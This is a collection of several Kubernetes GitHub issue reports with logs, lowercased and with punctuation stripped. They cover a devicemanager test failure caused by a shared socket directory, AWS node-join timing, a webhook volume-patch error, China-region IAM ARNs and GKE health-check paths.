\t/usr/lib/go-1.9/src/testing/testing.go:746 +0xd0\r testing.runtests 0xc420408bc0, 0x1bd9700, 0xb, 0xb, 0x1181640 \r \t/usr/lib/go-1.9/src/testing/testing.go:1002 +0x2d8\r testing.  m .run 0xc4205cff18, 0xc4204fbf70 \r \t/usr/lib/go-1.9/src/testing/testing.go:921 +0x111\r main.main  \r \tk8s.io/kubernetes/pkg/kubelet/cm/devicemanager/_test/_testmain.go:64 +0xdb\r \r goroutine 20  chan receive :\r k8s.io/kubernetes/vendor/github.com/golang/glog.  loggingt .flushdaemon 0x1be5be0 \r \t/fast/work/gopath/src/k8s.io/kubernetes/_output/local/go/src/k8s.io/kubernetes/vendor/github.com/golang/glog/glog.go:879 +0x9f\r created by k8s.io/kubernetes/vendor/github.com/golang/glog.init.0\r \t/fast/work/gopath/src/k8s.io/kubernetes/_output/local/go/src/k8s.io/kubernetes/vendor/github.com/golang/glog/glog.go:410 +0x203\r \r goroutine 150  chan receive :\r k8s.io/kubernetes/pkg/kubelet/cm/devicemanager.testdevicepluginreregistration 0xc4201c4870 \r \t/fast/work/gopath/src/k8s.io/kubernetes/_output/local/go/src/k8s.io/kubernetes/pkg/kubelet/cm/devicemanager/manager_test.go:85 +0x351\r testing.trunner 0xc4201c4870, 0x13e0118 \r \t/usr/lib/go-1.9/src/testing/testing.go:746 +0xd0\r created by testing.  t .run\r \t/usr/lib/go-1.9/src/testing/testing.go:789 +0x2de\r \r goroutine 151  io wait :\r internal/poll.runtime_pollwait 0x7f139654cc70, 0x72, 0xffffffffffffffff \r \t/usr/lib/go-1.9/src/runtime/netpoll.go:173 +0x57\r internal/poll.  polldesc .wait 0xc4203ea898, 0x72, 0xc420089c00, 0x0, 0x0 \r \t/usr/lib/go-1.9/src/internal/poll/fd_poll_runtime.go:85 +0xae\r internal/poll.  polldesc .waitread 0xc4203ea898, 0xffffffffffffff00, 0x0, 0x0 \r \t/usr/lib/go-1.9/src/internal/poll/fd_poll_runtime.go:90 +0x3d\r internal/poll.  fd .accept 0xc4203ea880, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0 \r \t/usr/lib/go-1.9/src/internal/poll/fd_unix.go:335 +0x1e2\r net.  netfd .accept 0xc4203ea880, 0xc42052c080, 0x0, 0x0 \r \t/usr/lib/go-1.9/src/net/fd_unix.go:238 +0x42\r net.  unixlistener .accept 0xc4203dac60, 0x7e3449, 0x45aae0, 0xc420089e98 \r \t/usr/lib/go-1.9/src/net/unixsock_posix.go:162 +0x32\r net.  unixlistener .accept 0xc4203dac60, 0x13e0f28, 0xc42013c640, 0x1b8c7c0, 0xc42052c080 \r \t/usr/lib/go-1.9/src/net/unixsock.go:241 +0x49\r k8s.io/kubernetes/vendor/google.golang.org/grpc.  server .serve 0xc42013c640, 0x1b88420, 0xc4203dac60, 0x0, 0x0 \r \t/fast/work/gopath/src/k8s.io/kubernetes/_output/local/go/src/k8s.io/kubernetes/vendor/google.golang.org/grpc/server.go:475 +0x196\r created by k8s.io/kubernetes/pkg/kubelet/cm/devicemanager.  managerimpl .start\r \t/fast/work/gopath/src/k8s.io/kubernetes/_output/local/go/src/k8s.io/kubernetes/pkg/kubelet/cm/devicemanager/manager.go:232 +0x4b0\r \r goroutine 152  io wait :\r internal/poll.runtime_pollwait 0x7f139654cbb0, 0x72, 0xffffffffffffffff \r \t/usr/lib/go-1.9/src/runtime/netpoll.go:173 +0x57\r internal/poll.  polldesc .wait 0xc4203eaa18, 0x72, 0xc42021cc00, 0x0, 0x0 \r \t/usr/lib/go-1.9/src/internal/poll/fd_poll_runtime.go:85 +0xae\r internal/poll.  polldesc .waitread 0xc4203eaa18, 0xffffffffffffff00, 0x0, 0x0 \r \t/usr/lib/go-1.9/src/internal/poll/fd_poll_runtime.go:90 +0x3d\r internal/poll.  fd .accept 0xc4203eaa00, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0 \r \t/usr/lib/go-1.9/src/internal/poll/fd_unix.go:335 +0x1e2\r net.  netfd .accept 0xc4203eaa00, 0xc42052c088, 0x0, 0x0 \r \t/usr/lib/go-1.9/src/net/fd_unix.go:238 +0x42\r net.  unixlistener .accept 0xc4203dade0, 0x7e3449, 0x45aae0, 0xc42021ce98 \r \t/usr/lib/go-1.9/src/net/unixsock_posix.go:162 +0x32\r net.  unixlistener .accept 0xc4203dade0, 0x13e0f28, 0xc42013c780, 0x1b8c7c0, 0xc42052c088 \r \t/usr/lib/go-1.9/src/net/unixsock.go:241 +0x49\r k8s.io/kubernetes/vendor/google.golang.org/grpc.  server .serve 0xc42013c780, 0x1b88420, 0xc4203dade0, 0x0, 0x0 \r \t/fast/work/gopath/src/k8s.io/kubernetes/_output/local/go/src/k8s.io/kubernetes/vendor/google.golang.org/grpc/server.go:475 +0x196\r created by k8s.io/kubernetes/pkg/kubelet/cm/devicemanager.  stub .start\r \t/fast/work/gopath/src/k8s.io/kubernetes/_output/local/go/src/k8s.io/kubernetes/pkg/kubelet/cm/devicemanager/device_plugin_stub.go:88 +0x151\r  pid 29623  +++ exited with 2 +++\r  pid 29617  +++ exited with 2 +++\r  pid 29596  +++ exited with 2 +++\r  pid 29594  +++ exited with 2 +++\r  pid 29588  +++ exited with 2 +++\r  pid 29587  +++ exited with 2 +++\r  pid 29574  +++ exited with 2 +++\r  pid 29573  +++ exited with 2 +++\r  pid 29572  +++ exited with 2 +++\r  pid 29571  +++ exited with 2 +++\r +++ exited with 2 +++\r fail\tk8s.io/kubernetes/pkg/kubelet/cm/devicemanager\t120.063s\r    \r \r   what you expected to happen  :\r \r the test should pass.\r \r   how to reproduce it  as minimally and precisely as possible   :\r \r it happens for me only when running all tests, but then it happens reliably. when limiting the test run with  what=k8s.io/kubernetes/pkg/kubelet/cm/devicemanager , it works.\r \r the failing  connect    calls are not surprising, because  /tmp/device_plugin/device-plugin.sock  got unlinked after binding to it. those  unlinkedat    might come from manager.go's  removecontent : it removes everything in the socket dir, which happens to be  /tmp/device_plugin .\r \r for comparison, here's a successful run:\r    \r $ home=/tmp/home make goflags='-v -exec \ strace -f -e trace=connect,bind,unlinkat\  -run testdevicepluginreregistration' what=k8s.io/kubernetes/pkg/kubelet/cm/devicemanager  test  2>&1 | tee /tmp/log5\r running tests for apiversion: v1,admissionregistration.k8s.io/v1alpha1,admissionregistration.k8s.io/v1beta1,admission.k8s.io/v1beta1,apps/v1beta1,apps/v1beta2,apps/v1,authentication.k8s.io/v1,authentication.k8s.io/v1beta1,authorization.k8s.io/v1,authorization.k8s.io/v1beta1,autoscaling/v1,autoscaling/v2beta1,batch/v1,batch/v1beta1,batch/v2alpha1,certificates.k8s.io/v1beta1,extensions/v1beta1,events.k8s.io/v1beta1,imagepolicy.k8s.io/v1alpha1,networking.k8s.io/v1,policy/v1beta1,rbac.authorization.k8s.io/v1,rbac.authorization.k8s.io/v1beta1,rbac.authorization.k8s.io/v1alpha1,scheduling.k8s.io/v1alpha1,settings.k8s.io/v1alpha1,storage.k8s.io/v1beta1,storage.k8s.io/v1,storage.k8s.io/v1alpha1,\r +++  0207 14:58:50  running tests without code coverage\r strace: process 21963 attached\r strace: process 21964 attached\r strace: process 21965 attached\r strace: process 21966 attached\r  pid 21962  connect 3, {sa_family=af_unix, sun_path=\ /var/run/nscd/socket\ }, 110  = -1 enoent  no such file or directory \r  pid 21962  connect 3, {sa_family=af_unix, sun_path=\ /var/run/nscd/socket\ }, 110  = -1 enoent  no such file or directory \r strace: process 21967 attached\r strace: process 21968 attached\r strace: process 21969 attached\r strace: process 21970 attached\r strace: process 21971 attached\r strace: process 21972 attached\r strace: process 21973 attached\r strace: process 21974 attached\r strace: process 21975 attached\r strace: process 21976 attached\r strace: process 21977 attached\r  pid 21962  bind 3, {sa_family=af_unix, sun_path=\ /tmp/device_plugin/server.sock\ }, 33  = 0\r  pid 21962  unlinkat at_fdcwd, \ /tmp/device_plugin/device-plugin.sock\ , 0  = -1 enoent  no such file or directory \r  pid 21962  unlinkat at_fdcwd, \ /tmp/device_plugin/device-plugin.sock\ , at_removedir  = -1 enoent  no such file or directory \r  pid 21962  bind 5, {sa_family=af_unix, sun_path=\ /tmp/device_plugin/device-plugin.sock\ }, 40  = 0\r  pid 21962  connect 6, {sa_family=af_unix, sun_path=\ /tmp/device_plugin/device-plugin.sock\ }, 40  = 0\r 2018/02/07 14:58:55 starting to serve on /tmp/device_plugin/device-plugin.sock\r  pid 21962  connect 8, {sa_family=af_unix, sun_path=\ /tmp/device_plugin/server.sock\ }, 33  = 0\r  pid 21966  --- sigpipe {si_signo=sigpipe, si_code=si_user, si_pid=21962, si_uid=1000} ---\r  pid 21966  unlinkat at_fdcwd, \ /tmp/devicemanager.test.info\ , 0  = 0\r  pid 21965  connect 7, {sa_family=af_unix, sun_path=\ /tmp/device_plugin/device-plugin.sock\ }, 40  = 0\r 2018/02/07 14:58:55 listandwatch\r  pid 21977  unlinkat at_fdcwd, \ /tmp/device_plugin/device-plugin.sock.new\ , 0  = -1 enoent  no such file or directory \r  pid 21977  unlinkat at_fdcwd, \ /tmp/device_plugin/device-plugin.sock.new\ , at_removedir  = -1 enoent  no such file or directory \r  pid 21977  bind 9, {sa_family=af_unix, sun_path=\ /tmp/device_plugin/device-plugin.sock.new\ }, 44  = 0\r  pid 21977  connect 10, {sa_family=af_unix, sun_path=\ /tmp/device_plugin/device-plugin.sock.new\ }, 44  = 0\r strace: process 21978 attached\r 2018/02/07 14:58:55 starting to serve on /tmp/device_plugin/device-plugin.sock.new\r  pid 21965  connect 12, {sa_family=af_unix, sun_path=\ /tmp/device_plugin/server.sock\ }, 33strace: process 21979 attached\r   = 0\r  pid 21979  connect 11, {sa_family=af_unix, sun_path=\ /tmp/device_plugin/device-plugin.sock.new\ }, 44  = 0\r e0207 14:58:55.277382   21962 endpoint.go:117  listandwatch ended unexpectedly for device plugin fake-domain/resource with error rpc error: code = unavailable desc = transport is closing\r  pid 21972  unlinkat at_fdcwd, \ /tmp/devicemanager.test.error\ , 0  = 0\r  pid 21972  unlinkat at_fdcwd, \ /tmp/devicemanager.test.warning\ , 0  = 0\r 2018/02/07 14:58:55 listandwatch\r  pid 21965  unlinkat at_fdcwd, \ /tmp/device_plugin/device-plugin.sock.third\ , 0  = -1 enoent  no such file or directory \r  pid 21965  unlinkat at_fdcwd, \ /tmp/device_plugin/device-plugin.sock.third\ , at_removedir  = -1 enoent  no such file or directory \r  pid 21965  bind 10, {sa_family=af_unix, sun_path=\ /tmp/device_plugin/device-plugin.sock.third\ }, 46  = 0\r  pid 21965  connect 12, {sa_family=af_unix, sun_path=\ /tmp/device_plugin/device-plugin.sock.third\ }, 46  = 0\r 2018/02/07 14:58:55 starting to serve on /tmp/device_plugin/device-plugin.sock.third\r  pid 21972  --- sigpipe {si_signo=sigpipe, si_code=si_user, si_pid=21962, si_uid=1000} ---\r  pid 21965  connect 12, {sa_family=af_unix, sun_path=\ /tmp/device_plugin/server.sock\ }, 33  = 0\r  pid 21979  connect 15, {sa_family=af_unix, sun_path=\ /tmp/device_plugin/device-plugin.sock.third\ }, 46  = 0\r strace: process 21980 attached\r e0207 14:58:55.281826   21962 endpoint.go:117  listandwatch ended unexpectedly for device plugin fake-domain/resource with error rpc error: code = failedprecondition desc = grpc: the client connection is closing\r  pid 21970  --- sigpipe {si_signo=sigpipe, si_code=si_user, si_pid=21962, si_uid=1000} ---\r strace: process 21981 attached\r 2018/02/07 14:58:55 listandwatch\r e0207 14:58:55.285335   21962 endpoint.go:160  device dev2 was deleted\r e0207 14:58:55.285380   21962 endpoint.go:160  device dev1 was deleted\r  pid 21978  unlinkat at_fdcwd, \ /tmp/device_plugin/device-plugin.sock.new\ , 0  = 0\r  pid 21978  unlinkat at_fdcwd, \ /tmp/device_plugin/device-plugin.sock.new\ , 0  = -1 enoent  no such file or directory \r  pid 21978  unlinkat at_fdcwd, \ /tmp/device_plugin/device-plugin.sock.new\ , at_removedir  = -1 enoent  no such file or directory \r  pid 21978  unlinkat at_fdcwd, \ /tmp/device_plugin/device-plugin.sock.third\ , 0  = 0\r  pid 21978  unlinkat at_fdcwd, \ /tmp/device_plugin/device-plugin.sock.third\ , 0  = -1 enoent  no such file or directory \r  pid 21978  unlinkat at_fdcwd, \ /tmp/device_plugin/device-plugin.sock.third\ , at_removedir  = -1 enoent  no such file or directory \r  pid 21978  unlinkat at_fdcwd, \ /tmp/device_plugin/device-plugin.sock\ , 0  = 0\r  pid 21978  unlinkat at_fdcwd, \ /tmp/device_plugin/device-plugin.sock\ , 0  = -1 enoent  no such file or directory \r  pid 21978  unlinkat at_fdcwd, \ /tmp/device_plugin/device-plugin.sock\ , at_removedir  = -1 enoent  no such file or directory \r  pid 21978  unlinkat at_fdcwd, \ /tmp/device_plugin/server.sock\ , 0e0207 14:58:55.285972   21962 endpoint.go:117  listandwatch ended unexpectedly for device plugin fake-domain/resource with error rpc error: code = failedprecondition desc = grpc: the client connection is closing\r   = 0\r  pid 21981  +++ exited with 0 +++\r  pid 21980  +++ exited with 0 +++\r  pid 21979  +++ exited with 0 +++\r  pid 21978  +++ exited with 0 +++\r  pid 21977  +++ exited with 0 +++\r  pid 21976  +++ exited with 0 +++\r  pid 21975  +++ exited with 0 +++\r  pid 21974  +++ exited with 0 +++\r  pid 21973  +++ exited with 0 +++\r  pid 21972  +++ exited with 0 +++\r  pid 21971  +++ exited with 0 +++\r  pid 21970  +++ exited with 0 +++\r  pid 21969  +++ exited with 0 +++\r  pid 21968  +++ exited with 0 +++\r  pid 21967  +++ exited with 0 +++\r  pid 21966  +++ exited with 0 +++\r  pid 21965  +++ exited with 0 +++\r  pid 21964  +++ exited with 0 +++\r  pid 21963  +++ exited with 0 +++\r +++ exited with 0 +++\r === run   testdevicepluginreregistration\r --- pass: testdevicepluginreregistration  0.02s \r pass\r ok  \tk8s.io/kubernetes/pkg/kubelet/cm/devicemanager\t0.062s\r    \r \r   anything else we need to know?  :\r \r i'm wondering whether it is guaranteed that different tests in the same .go file run serialized. does anyone know for sure?\r \r i'm asking because all tests in manager_test.go use the same socket directory and thus would conflict with each other if they were to run in parallel. note that the  unlinkat  and  connect  calls in the failed test are for different pids. i've not checked whether those are truly different processes  as in fork+exec  or worker threads  clone .\r \r   environment  :\r - kubernetes version  use  kubectl version  : master branch, commit 68da45623f5b14f61d9ce51b4946c11e034eb25c\r - os  e.g. from /etc/os-release : debian stretch  9.0 \r - kernel  e.g.  uname -a  : 4.9.65-3+deb9u2\r

this was a regression when we moved to bazel for unit tests.\r \r fixed by https://github.com/bazelbuild/rules_go/pull/1355\r \r cc @ixdy @deads2k \r \r  

<!-- this form is for bug reports and feature requests only! \r \r if you're looking for help check  stack overflow  https://stackoverflow.com/questions/tagged/kubernetes  and the  troubleshooting guide  https://kubernetes.io/docs/tasks/debug-application-cluster/troubleshooting/ .\r -->\r \r   is this a bug report or feature request?  :\r  \r   what happened  :\r   nodes spun up by asg have a variable delay at with tags are applied to them. the metadata api is not subject to this delay.\r   nodes poll the metadata api for information where the master s  poll the actual ec2 api.\r   this may cause a node to join a cluster and immediately be removed by the master   kube-controller-manager   due to it's lack of tags.\r   kubelet does not appear to have a rejoin functionality, resulting in a \ zombie\  node.\r \r   what you expected to happen  :\r nodes should join the cluster and remain in it or kubelet should attempt to rejoin the cluster.\r \r   how to reproduce it  as minimally and precisely as possible   :\r 1. create an asg  i was using spot instances, uncertain if that has any relation  using a kops launch configuration.\r 2. scale up to x nodes.\r 3. notice that ~x/2 nodes did not join the cluster\r \r   anything else we need to know?  :\r i was able to correct this issue  hackily  by adding the following into one of the kops start up scripts:\r    bash\r echo -e \ waiting for ec2 api to catch up... \ \r hostname=\ $ curl 169.254.169.254/latest/meta-data/hostname \ \r region=\ $ curl 169.254.169.254/latest/meta-data/placement/availability-zone | sed -e 's/\\ . \\  a-z /\\1/' \ \r \r retries=0\r until   $retries -eq 3   || aws ec2 wait instance-exists --region $region --filters \ name=private-dns-name,values=$hostname\  \ name=instance-state-name,values=running\  \ name=tag:kubernetescluster,values=clustername\ ; do\r   sleep $   retries++   \r done\r echo \ done\ \r    \r \r i  think  kubelet should wait for the ec2 api and the ec2 metadata api to synchronize before attempting to join the cluster. i'm still looking for the best place to add that into the code, any pointers would be appreciated.\r \r   environment  :\r - kubernetes version  use  kubectl version  :\r    \r client version: version.info{major:\ 1\ , minor:\ 9\ , gitversion:\ v1.9.3\ , gitcommit:\ d2835416544f298c919e2ead3be3d0864b52323b\ , gittreestate:\ clean\ , builddate:\ 2018-02-09t21:51:06z\ , goversion:\ go1.9.4\ , compiler:\ gc\ , platform:\ darwin/amd64\ }\r server version: version.info{major:\ 1\ , minor:\ 8\ , gitversion:\ v1.8.6\ , gitcommit:\ 6260bb08c46c31eea6cb538b34a9ceb3e406689c\ , gittreestate:\ clean\ , builddate:\ 2017-12-21t06:23:29z\ , goversion:\ go1.8.3\ , compiler:\ gc\ , platform:\ linux/amd64\ }\r    \r - cloud provider or hardware configuration:  aws \r - os  e.g. from /etc/os-release :\r    \r pretty_name=\ debian gnu/linux 9  stretch \ \r name=\ debian gnu/linux\ \r version_id=\ 9\ \r version=\ 9  stretch \ \r id=debian\r home_url=\ https://www.debian.org/\ \r support_url=\ https://www.debian.org/support\ \r bug_report_url=\ https://bugs.debian.org/\ \r    \r - kernel  e.g.  uname -a  :  linux ip-10-100-102-155 4.9.0-5-amd64  1 smp debian 4.9.65-3+deb9u2  2018-01-04  x86_64 gnu/linux \r - install tools:  kops \r - others:  n/a \r

 \r   what happened  :\r i am using a mutatingwebhook to decorate incoming deployments with sidecars and volumes. the deployments are part of helm charts.\r \r when the mutatingwebhook is processing the deployment, there is a volume that is already declared in the volume list of the incoming deployment  and has the volumesource set to emptydir  and the mutatingwebhook tries to update the volume by setting a secret as its volumesource  instead of the emptydir .\r \r when installing the helm chart with the deployment in case to the kubernetes cluster, it fails with the following error:\r   error: release <helm_chart_name> failed: deployment.apps \ <deployment_name>\  is invalid:    spec.template.spec.volumes 4 .secret: forbidden: may not specify more than 1 volume type  , spec.template.spec.containers 0 .volumemounts 4 .name: not found: \ secrets\ , spec.template.spec.containers 2 .volumemounts 3 .name: not found: \ secrets\ , spec.template.spec.containers 3 .volumemounts 3 .name: not found: \ secrets\   \r \r the patchoperation that the mutatingwebhook is creating for this single volume update is as follows:\r    \r {  \r    \ op\ :\ replace\ ,\r    \ path\ :\ /spec/template/spec/volumes/4\ ,\r    \ value\ :{  \r       \ name\ :\ secrets\ ,\r       \ secret\ :{  \r          \ secretname\ :\ <secret_name>\ ,\r          \ items\ :   \r             {  \r                \ key\ :\ <sample_key>\ ,\r                \ path\ :\ <sample_path>\ \r             }\r           \r       }\r    }\r }\r    \r \r as it looks like, behind the scenes, kubernetes tries to merge the existing volume declaration with the one that is provided the the mutatingwebhook, therefore i end up having a volume with two volume sources: emptydir  from the original volume declaration  and secret  from the new volume declaration , causing the volumesource validation to fail with the above error.\r \r things that i have tried so far:\r  \r 1. first tried to add a patchoperation to delete the existing volume, then add a new volume with the same name. ended up having the same issue\r 2. created 2 patchoperations: one to delete all the list of volumes, and the other one to add the updated volumes  using a \ create\  operation . ended up having the same issue\r 3. tried to use different versions of client-go and other kubernetes dependencies for the mutatingwebhook project  written in golang . still no luck :  \r \r   what you expected to happen  :\r mutatingwebhook is able to update an existing volume on the incoming deployment, even if the new volume description has a new volumesource  a kubernetes secret \r \r   how to reproduce it  as minimally and precisely as possible   :\r using a mutatingwebhook, try to update a volume on the incoming deployment  submitted via create/patch operation  by changing its volume source  e.g. from emptydir to kubernetes secret or configmap \r \r   anything else we need to know?  :\r i was trying to apply the exact same patch operations on a non decorated deployment using   kubectl   and it worked just fine, the volume has been updated  using the new volumesource :\r  kubectl patch deployment <deployment_name> --type='json' -p=\ $ cat <file_containing_patch_operations>.json \ \r  \r \r   environment  :\r - kubernetes version  use  kubectl version  : \r client version: version.info{major:\ 1\ , minor:\ 10\ , gitversion:\ v1.10.0\ \r server version: version.info{major:\ 1\ , minor:\ 9\ , gitversion:\ v1.9.7\ \r - others:\r go deps version constraints used:\r    \r   constraint  \r   name = \ k8s.io/api\ \r   version = \ kubernetes-1.10.0\ \r   constraint  \r   name = \ k8s.io/apimachinery\ \r   version = \ kubernetes-1.10.0\ \r   constraint  \r   name = \ k8s.io/client-go\ \r   version = \ 7.0.0\ \r    \r \r

using centos6, docker 1.6... collecting log using fluentd, and trying to use this feature from   kubernetes/cluster/addons/fluentd-gcp/fluentd-gcp-image/google-fluentd.conf   > watch changes to docker log files that live in the directory /var/lib/docker/containers/ and are symbolically linked to from the /varlog directory using names that capture the pod name and container name.  but from code, it seems that the manager get \ docker root\  from docker info. https://github.com/kubernetes/kubernetes/blob/master/pkg/kubelet/dockertools/manager.go l163      docker info containers: 143 images: 255 storage driver: devicemapper  pool name: docker-252:7-2140163-pool  pool blocksize: 65.54 kb  backing filesystem: extfs  data file: /dev/loop0  metadata file: /dev/loop1  data space used: 8.545 gb  data space total: 107.4 gb  data space available: 52.02 gb  metadata space used: 20.59 mb  metadata space total: 2.147 gb  metadata space available: 2.127 gb  udev sync supported: false  data loop file: /home/q/docker/devicemapper/devicemapper/data  metadata loop file: /home/q/docker/devicemapper/devicemapper/metadata  library version: 1.02.82-git  2013-10-04  execution driver: native-0.2 kernel version: 3.18.17-1.el6.x86_64 operating system: <unknown> cpus: 4 total memory: 3.866 gib name: l-kubecluster1.ops.cn8 id: jkn2:x7ir:thcs:cnnu:waqv:ufrq:peyc:4272:twgk:4ftc:vmo5:stx3 warning: no swap limit support          docker -d info containers: 143 images: 255 storage driver: devicemapper  pool name: docker-252:7-2140163-pool  pool blocksize: 65.54 kb  backing filesystem: extfs  data file: /dev/loop0  metadata file: /dev/loop1  data space used: 8.545 gb  data space total: 107.4 gb  data space available: 52.02 gb  metadata space used: 20.59 mb  metadata space total: 2.147 gb  metadata space available: 2.127 gb  udev sync supported: false  data loop file: /home/q/docker/devicemapper/devicemapper/data  metadata loop file: /home/q/docker/devicemapper/devicemapper/metadata  library version: 1.02.82-git  2013-10-04  execution driver: native-0.2 kernel version: 3.18.17-1.el6.x86_64 operating system: <unknown> cpus: 4 total memory: 3.866 gib name: l-kubecluster1.ops.cn8 id: jkn2:x7ir:thcs:cnnu:waqv:ufrq:peyc:4272:twgk:4ftc:vmo5:stx3 debug mode  server : false debug mode  client : true fds: 85 goroutines: 180 system time: wed sep 16 15:44:26 cst 2015 eventslisteners: 1 init sha1: 7f9c6798b022e64f04d2aff8c75cbf38a2779493 init path: /usr/bin/docker docker root dir: /home/q/docker warning: no swap limit support

as documented  here  http://docs.amazonaws.cn/en_us/aws/latest/userguide/iam.html   > in the beijing region, the amazon resource name  arn  syntax includes a cn. for example: arn:aws-cn:iam::123456789012:user/division_abc/subdivision_xyz/bob.  and  > the syntax is different than it is for other regions. for example, if you create a role to assign to an ec2 instance, the trust policy should have a format similar to the following:  >  >     json > { >   \ version\ : \ 2012-10-17\ , >   \ statement\ :   >     { >       \ effect\ : \ allow\ , >       \ principal\ : {\ service\ : \ ec2.amazonaws.com.cn\ }, >       \ action\ : \ sts:assumerole\  >     } >     > }  >      so policy template in cluster/aws/templates/iam/kubernetes-{master,minion}-policy.json and role principal in cluster/aws/templates/iam/kubernetes-{master,minion}-role.json should be treated differently for cn-north-1 region. the role  statement.principal.service  should be  ec2.amazonaws.com.cn  and  resource  in policy files should be  arn:aws-cn:s3:::kubernetes-

we are seeing an issue on gke  running 1.3.5 both on nodes and master  where glbc occasionally reverts http-health-checks back to the default value of '/' instead of using the readinessprobe value defined in deployment.  initially on ingress creation the http-health-checks were created correctly. as we are running on gke i don't have logs from master  glbc .    kubernetes version    use  kubectl version  : client version: version.info{major:\ 1\ , minor:\ 3\ , gitversion:\ v1.3.4\ , gitcommit:\ dd6b458ef8dbf24aff55795baa68f83383c9b3a9\ , gittreestate:\ clean\ , builddate:\ 2016-08-01t16:45:16z\ , goversion:\ go1.6.2\ , compiler:\ gc\ , platform:\ darwin/amd64\ } server version: version.info{major:\ 1\ , minor:\ 3\ , gitversion:\ v1.3.5\ , gitcommit:\ b0deb2eb8f4037421077f77cb163dbb4c0a2a9f5\ , gittreestate:\ clean\ , builddate:\ 2016-08-11t20:21:58z\ , goversion:\ go1.6.2\ , compiler:\ gc\ , platform:\ linux/amd64\ }    environment  : -   cloud provider or hardware configuration  : gke    what happened  :  http-health-checks changed from deolyment defined '/healthz' to the default value of '/'    what you expected to happen  :  http-health-checks should be controlled by the readinessprobe as per definition and they should not reset to the default value potentially causing service disruption as l7 would mark the backends as being down if there is no route answering on the default '/' path.    how to reproduce it    as minimally and precisely as possible :  have a probe in deployment configuration:              readinessprobe:           httpget:             path: /healthz             port: 5000             httpheaders:               - name: x-teleport-healthcheck                 value: http           initialdelayseconds: 15           timeoutseconds: 3         livenessprobe:           httpget:             path: /healthz             port: 5000             httpheaders:               - name: x-teleport-healthcheck                 value: http           initialdelayseconds: 15           timeoutseconds: 3      this should produce a http-health-check similar to:      > gcloud compute http-health-checks describe k8s-be-31676 checkintervalsec: 1 creationtimestamp: '2016-06-22t03:50:18.573-07:00' description: default kubernetes l7 loadbalancing health check. healthythreshold: 1 host: '' id: '8294344216172548997' kind: compute httphealthcheck name: k8s-be-31676 port: 31676 requestpath: /healthz selflink: https://www.googleapis.com/compute/v1/projects/teleport-cloud/global/httphealthchecks/k8s-be-31676 timeoutsec: 1 unhealthythreshold: 10      after some time we saw this switch to  requestpath: /     anything else do we need to know  :  there is also google support case with information on this: 10220005

https://k8s-gubernator.appspot.com/build/kubernetes-jenkins/logs/ci-kubernetes-test-go/851/  failed: testsecretcontroller {secret}      0xbf5f0d\tk8s.io/kubernetes/federation/pkg/federation-controller/util/test.registerfakewatch.func1+0x14d\t/go/src/k8s.io/kubernetes/_output/local/go/src/k8s.io/kubernetes/federation/pkg/federation-controller/util/test/test_helper.go:154 0x44355e\tsync.runtime_notifylistwait+0x12e\t\t\t\t\t\t\t\t\t\t/usr/local/go/src/runtime/sema.go:267 0x4d8d6d\tsync.  cond .wait+0x8d\t\t\t\t\t\t\t\t\t\t\t\t/usr/local/go/src/sync/cond.go:57 0xb5517d\tk8s.io/kubernetes/pkg/client/cache.  deltafifo .pop+0xed\t\t\t\t\t\t\t/go/src/k8s.io/kubernetes/_output/local/go/src/k8s.io/kubernetes/pkg/client/cache/delta_fifo.go:407 0xb51680\tk8s.io/kubernetes/pkg/client/cache.  controller .processloop+0x70\t\t\t\t\t\t/go/src/k8s.io/kubernetes/_output/local/go/src/k8s.io/kubernetes/pkg/client/cache/controller.go:131 0xb603f1\tk8s.io/kubernetes/pkg/client/cache.  controller . k8s.io/kubernetes/pkg/client/cache.processloop -fm+0x41\t/go/src/k8s.io/kubernetes/_output/local/go/src/k8s.io/kubernetes/pkg/client/cache/controller.go:102 0xbfb07f\tk8s.io/kubernetes/pkg/util/wait.jitteruntil.func1+0x6f\t\t\t\t\t\t\t\t/go/src/k8s.io/kubernetes/_output/local/go/src/k8s.io/kubernetes/pkg/util/wait/wait.go:96 0xbfa7dd\tk8s.io/kubernetes/pkg/util/wait.jitteruntil+0xbd\t\t\t\t\t\t\t\t/go/src/k8s.io/kubernetes/_output/local/go/src/k8s.io/kubernetes/pkg/util/wait/wait.go:97 0xbfa6fa\tk8s.io/kubernetes/pkg/util/wait.until+0x5a\t\t\t\t\t\t\t\t\t/go/src/k8s.io/kubernetes/_output/local/go/src/k8s.io/kubernetes/pkg/util/wait/wait.go:52 0xb5136e\tk8s.io/kubernetes/pkg/client/cache.  controller .run+0x24e\t\t\t\t\t\t\t/go/src/k8s.io/kubernetes/_output/local/go/src/k8s.io/kubernetes/pkg/client/cache/controller.go:102 0xb5b959\tk8s.io/kubernetes/pkg/client/cache.  reflector .watchhandler+0x1689\t/go/src/k8s.io/kubernetes/_output/local/go/src/k8s.io/kubernetes/pkg/client/cache/reflector.go:346 0xb5960b\tk8s.io/kubernetes/pkg/client/cache.  reflector .listandwatch+0xe3b\t/go/src/k8s.io/kubernetes/_output/local/go/src/k8s.io/kubernetes/pkg/client/cache/reflector.go:317 0xb60c9a\tk8s.io/kubernetes/pkg/client/cache.  reflector .rununtil.func1+0x4a\t/go/src/k8s.io/kubernetes/_output/local/go/src/k8s.io/kubernetes/pkg/client/cache/reflector.go:198 0xbfb07f\tk8s.io/kubernetes/pkg/util/wait.jitteruntil.func1+0x6f\t\t\t/go/src/k8s.io/kubernetes/_output/local/go/src/k8s.io/kubernetes/pkg/util/wait/wait.go:96 0xbfa7dd\tk8s.io/kubernetes/pkg/util/wait.jitteruntil+0xbd\t\t\t/go/src/k8s.io/kubernetes/_output/local/go/src/k8s.io/kubernetes/pkg/util/wait/wait.go:97 0xbfa6fa\tk8s.io/kubernetes/pkg/util/wait.until+0x5a\t\t\t\t/go/src/k8s.io/kubernetes/_output/local/go/src/k8s.io/kubernetes/pkg/util/wait/wait.go:52 0xb61143\tk8s.io/kubernetes/pkg/client/cache.  reflector .listandwatch.func1+0x3b3\t/go/src/k8s.io/kubernetes/_output/local/go/src/k8s.io/kubernetes/pkg/client/cache/reflector.go:266 0x57899a\tk8s.io/kubernetes/federation/pkg/federation-controller/util.  delayingdeliverer .run+0x63a\t/go/src/k8s.io/kubernetes/_output/local/go/src/k8s.io/kubernetes/federation/pkg/federation-controller/util/delaying_deliverer.go:122 0x57e6c7\tk8s.io/kubernetes/federation/pkg/federation-controller/util.  delayingdeliverer .startwithhandler.func1+0x157\t/go/src/k8s.io/kubernetes/_output/local/go/src/k8s.io/kubernetes/federation/pkg/federation-controller/util/delaying_deliverer.go:174 0x4971bd\ttesting.  t .run+0x56d\t\t/usr/local/go/src/testing/testing.go:647 